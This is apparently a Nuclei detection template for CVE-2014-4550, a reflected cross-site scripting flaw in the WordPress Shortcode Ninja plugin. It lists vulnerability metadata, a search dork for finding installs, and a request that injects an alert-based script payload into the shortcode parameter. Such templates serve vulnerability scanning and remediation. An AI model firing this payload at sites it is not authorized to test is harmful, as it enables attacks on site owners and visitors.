id: CVE-2014-4550

info:
  name: Shortcode Ninja <= 1.4 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in preview-shortcode-external.php in the Shortcode Ninja plugin 1.4 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the shortcode parameter.
  impact: |
    Allows remote attackers to inject arbitrary web script or HTML via crafted shortcode parameters, leading to potential session hijacking, defacement of web pages, or theft of sensitive information.
  remediation: |
    Update to the latest version of the Shortcode Ninja plugin (1.4 or higher) to fix the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/c7c24c7d-5341-43a6-abea-4a50fce9aab0
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4550
    - http://codevigilant.com/disclosure/wp-plugin-shortcode-ninja-a3-cross-site-scripting-xss
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-4550
    cwe-id: CWE-79
    epss-score: 0.00135
    epss-percentile: 0.48556
    cpe: cpe:2.3:a:visualshortcodes:ninja:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: visualshortcodes
    product: ninja
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/shortcode-ninja"
  tags: cve2014,cve,wordpress,wp-plugin,xss,wpscan,unauth,visualshortcodes

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/shortcode-ninja/'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/shortcode-ninja/preview-shortcode-external.php?shortcode=shortcode%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3e"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202d3cefb43338cd1d7fdec604f7e6f35630a7efd4c31ced1daf4d5d06bda5fbf3022100bd9e9e1c3b3766f433b39af8bb873b97144e038899c49bd8bae8a4cfdc884985:922c64590222798bb761d5b6d8e72950